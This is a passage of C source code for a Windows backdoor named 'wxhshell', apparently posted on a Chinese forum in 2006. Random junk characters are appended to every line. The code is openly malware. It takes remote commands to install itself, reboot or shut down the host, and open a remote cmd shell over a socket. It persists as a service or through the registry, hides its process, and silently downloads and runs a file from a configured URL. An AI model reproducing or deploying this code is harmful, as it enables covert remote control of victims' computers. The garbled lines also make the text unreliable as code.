    switch(cmd[0]) { $|(roC(  
  v#-%_V>ph  
  // 帮助 Ao{wd1  
  case '?': {  M?}2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0>Mm |x*5  
    break; QREIr |q'  
  } ]NTHit^EX  
  // 安装 7acAU{Rr  
  case 'i': { ,wX/cUyZ  
    if(Install()) .WyI.Y1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E8%O+x}  
    else _$cQAH0 E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1-w1k ^e  
    break; #7Qn\C2  
    } ]t(g7lc}U  
  // 卸载 /&kZ)XOi  
  case 'r': { (6 0,0|s  
    if(Uninstall()) ?_HTOOa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !o*oT}6n  
    else 9oc[}k-M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4+v~{  
    break; %#7M~RB[  
    } 1ed#nB %  
  // 显示 wxhshell 所在路径 j1/J9F'  
  case 'p': { 3kKXzIh  
    char svExeFile[MAX_PATH]; -MB ,]m  
    strcpy(svExeFile,"\n\r"); b?w4Nx#  
      strcat(svExeFile,ExeFile);  |2n2  
        send(wsh,svExeFile,strlen(svExeFile),0); >{m>&u;Cc  
    break; z2"2Xqy<U  
    } nHZ 4):`  
  // 重启 *l7 ojv  
  case 'b': { Bljh'Qp>C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E(u[?  
    if(Boot(REBOOT)) +?mZ_sf8w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^~(bm$4r  
    else { =FwFqjvl  
    closesocket(wsh); .Ta$@sPh}  
    ExitThread(0); &m Y<e4  
    } _II;$_N  
    break; f, ;sEV  
    } (%I`EAR  
  // 关机 Lo;T\C N  
  case 'd': { =faV,o&{`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bz}T}nj  
    if(Boot(SHUTDOWN)) iT.hXzPzr*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + FLzK(  
    else { j5$Sm  
    closesocket(wsh); =3 -G  
    ExitThread(0); F'SOl*v(s5  
    }  61gZZM  
    break; Q%t8cJ L  
    } &,e@pvc3  
  // 获取shell }]g>PY  
  case 's': { c&'T By  
    CmdShell(wsh); ]^ j)4us  
    closesocket(wsh); %kVpW& ~  
    ExitThread(0); 8dL(cC  
    break; !sR`]0  
  } Q >sq:R+'  
  // 退出 {a(YV\^y|H  
  case 'x': { M%$zor  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *7-uQKp  
    CloseIt(wsh); (_-z m)F7  
    break; @Vb-BC,  
    } M ?F({#]  
  // 离开 T_\GvSOI  
  case 'q': { .^Ek1fi.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nnr(\r~  
    closesocket(wsh); Qz/=+A/4  
    WSACleanup(); )9@Ftzg|  
    exit(1); '<XG@L  
    break; n*_FC  
        } Dk[[f<H_{  
  } lT$A;7[  
  } E-! `6  
6oJ~Jdn'  
  // 提示信息 sq :ff  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pLk?<y  
} t,=khZ  
  } u1>|2D  
E@[`y:P  
  return; eb+[=nmP  
} a2p<HW;)m  
(wbG0lu  
// shell模块句柄 O<o_MZN  
int CmdShell(SOCKET sock) ^Z}INUv]7  
{ V1"+4&R^T_  
STARTUPINFO si; 'f5,%e2#  
ZeroMemory(&si,sizeof(si)); *K0CUir|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [QL)6Xr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vT[%*)`  
PROCESS_INFORMATION ProcessInfo; D+"5R5J",  
char cmdline[]="cmd"; /4=O^;   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r0S"}<8O  
  return 0; \mv7"TM  
} GS)l{bS#[O  
~0worI?  
// 自身启动模式 gbKms ; :  
int StartFromService(void) PW.W.<CL  
{ Fdvex$r&  
typedef struct <4(rY9   
{ 30F&FTW  
  DWORD ExitStatus; <K 4zH<y  
  DWORD PebBaseAddress; o1kLT@VCl  
  DWORD AffinityMask; j7uiZU;3Rx  
  DWORD BasePriority; T_I"Tsv  
  ULONG UniqueProcessId; _=, [5"  
  ULONG InheritedFromUniqueProcessId; 4Jo:^JV  
}   PROCESS_BASIC_INFORMATION; ?b2%\p`"  
9~>;sjJk  
PROCNTQSIP NtQueryInformationProcess; S W  
ZRcY; ?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }vc C4 =t/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KZ<zsHX8H  
cty.)e=  
  HANDLE             hProcess; >F@7}Y(  
  PROCESS_BASIC_INFORMATION pbi; WXXLD:gxI  
M[Ls:\1a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ], ' n!:>  
  if(NULL == hInst ) return 0; WKmGw^  
oIbd+6>f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w{Dk,9>w)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [h,T.zpa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g!aM-B^C  
cV)C:!W2  
  if (!NtQueryInformationProcess) return 0; # {!Qf\1M  
SRj|XCd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [\. ho9  
  if(!hProcess) return 0; )S>~h;  
B4&x?-0ZC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _RjM .  
ywCE2N<-V?  
  CloseHandle(hProcess); qb "H&)aHw  
#CVD:p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vk>aU3\c  
if(hProcess==NULL) return 0; 9j9A'Y9(  
rWSw1(sAA  
HMODULE hMod; }U+gJkY2  
char procName[255]; j1<@ *W&b  
unsigned long cbNeeded; ,?i#NN5p  
e 0!a &w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v)J6}H}e  
UAH} ])U  
  CloseHandle(hProcess); `@=}5 9+|  
DA[-( s  
if(strstr(procName,"services")) return 1; // 以服务启动 -zMXc"'C^k  
m.S@ e8kS  
  return 0; // 注册表启动 &*L:4By)]  
} #p*OLQ3~  
}GQ8|fg`U  
// 主模块 j'CRm5O  
int StartWxhshell(LPSTR lpCmdLine) 'J]V"Z)  
{ >l 'QX(  
  SOCKET wsl; tse(iX/D  
BOOL val=TRUE; aI+:rk^  
  int port=0; Fi(_A  
  struct sockaddr_in door; rN} {v}n  
RR^I*kRH  
  if(wscfg.ws_autoins) Install(); =s1"<hH}O)  
$5cLhi"`  
port=atoi(lpCmdLine); }q27M  
#). om*Xh  
if(port<=0) port=wscfg.ws_port; *F~"4g  
Lj({ T'f(  
  WSADATA data; H6rWb6i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a*74FVZo.;  
`h :&H,N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >y%$]0F1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0Q%'vBX\`  
  door.sin_family = AF_INET; j[) i>Qw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z`5+BL,|ND  
  door.sin_port = htons(port); I+8m1 *  
QTK \"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >RE&>T^8  
closesocket(wsl); <k}>eGn  
return 1; =4+UX*&i?.  
} Z4bN|\I  
<hQ@]2w$  
  if(listen(wsl,2) == INVALID_SOCKET) { \L6U}ZQ2V  
closesocket(wsl); '-gk))u>)  
return 1; :3{@LOil^  
} Og"50-  
  Wxhshell(wsl); ObMsncn  
  WSACleanup(); 1wqCoDgkp  
fy9{W@E3p  
return 0; *sB=Ys?  
qV8;;&8r  
} eJ$?T7aUf  
z15(8Y@2]  
// 以NT服务方式启动 $9Y2\'w<h6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ANn {*h  
{ 7^as~5'&-  
DWORD   status = 0; W"VN2  
  DWORD   specificError = 0xfffffff; 44RZk|U1J{  
mmr>"`5.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,LWM}L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QRw3 06  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E9%xSMS8@  
  serviceStatus.dwWin32ExitCode     = 0; sVaWg?=qs'  
  serviceStatus.dwServiceSpecificExitCode = 0; <`*6;j.&  
  serviceStatus.dwCheckPoint       = 0; u=#LY$  
  serviceStatus.dwWaitHint       = 0; (= uwx#  
?GB($D=Y'&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cV)fe`Gg  
  if (hServiceStatusHandle==0) return; ,t61IU3"  
]Fl+^aLS  
status = GetLastError(); 1:q55!b  
  if (status!=NO_ERROR) !z58,hv  
{ !0*=z~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =EsKFt"  
    serviceStatus.dwCheckPoint       = 0; u|BD%5+J  
    serviceStatus.dwWaitHint       = 0; "`C|;\w  
    serviceStatus.dwWin32ExitCode     = status; f9&D0x?  
    serviceStatus.dwServiceSpecificExitCode = specificError; Mwp#.du(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xgsD<3  
    return; bq<QUw=]q&  
  } "p2 $R*ie  
v#YO3nD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1}KNzMHk9  
  serviceStatus.dwCheckPoint       = 0; (3c,;koRR  
  serviceStatus.dwWaitHint       = 0; 0MrtJNF]_O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -H'_%~OV(  
} c@5fiRPv!  
7 fqK{^ L  
// 处理NT服务事件,比如:启动、停止 wL5IAkq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ch \*/  
{ ;&;coH8`  
switch(fdwControl) S)@R4{=e"V  
{ /M v\~vg$1  
case SERVICE_CONTROL_STOP:  .;iXe  
  serviceStatus.dwWin32ExitCode = 0; 3`IDm5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZRD* ^9)  
  serviceStatus.dwCheckPoint   = 0; n?!.r c  
  serviceStatus.dwWaitHint     = 0; Xdq2.:\  
  { ;=*b:y Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P}DrUND  
  } ] A9Vh  
  return; S;i^ucAF  
case SERVICE_CONTROL_PAUSE: +=$]fjE?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W4|1wd}.t  
  break; V\ !FD5%  
case SERVICE_CONTROL_CONTINUE: s2b!Nib  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }@SZ!-t%rD  
  break; mK@\6GOMYP  
case SERVICE_CONTROL_INTERROGATE: hSp[BsF`,  
  break; nH NMoA  
}; hY-;Wfg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 57v[b-SK  
} cS4e}\q,  
XRJ<1w:  
// 标准应用程序主函数 {~b]6}O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "EWU:9\0  
{ scJ`oc: <J  
J j yQ  
// 获取操作系统版本 7s<v06Wo  
OsIsNt=GetOsVer(); gigDrf}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zu*0uL  
=f.f%g6  
  // 从命令行安装 7.8ukAud  
  if(strpbrk(lpCmdLine,"iI")) Install(); &AUL]:<s  
kxTh tjgv  
  // 下载执行文件 qI:}3b;T  
if(wscfg.ws_downexe) { xqmJPbA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g3e\'B'  
  WinExec(wscfg.ws_filenam,SW_HIDE); $hg W>e  
} ',*I=JW;  
kx]f`b  
if(!OsIsNt) { .7+_ubj&,  
// 如果时win9x,隐藏进程并且设置为注册表启动 wV W+~DJ  
HideProc(); (aiE!c  
StartWxhshell(lpCmdLine); 42U3>  
} Gv?3}8Wp  
else d3 fE[/oU  
  if(StartFromService()) wvx N6  
  // 以服务方式启动 &>i+2c~  
  StartServiceCtrlDispatcher(DispatchTable); {LR?#.   
else L a0H  
  // 普通方式启动 NZi5rX N  
  StartWxhshell(lpCmdLine); - FA#hUK$  
qB<D'h7  
return 0; WTY{sq\' o  
}
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只看该作者 1 发表于: 2006-10-10
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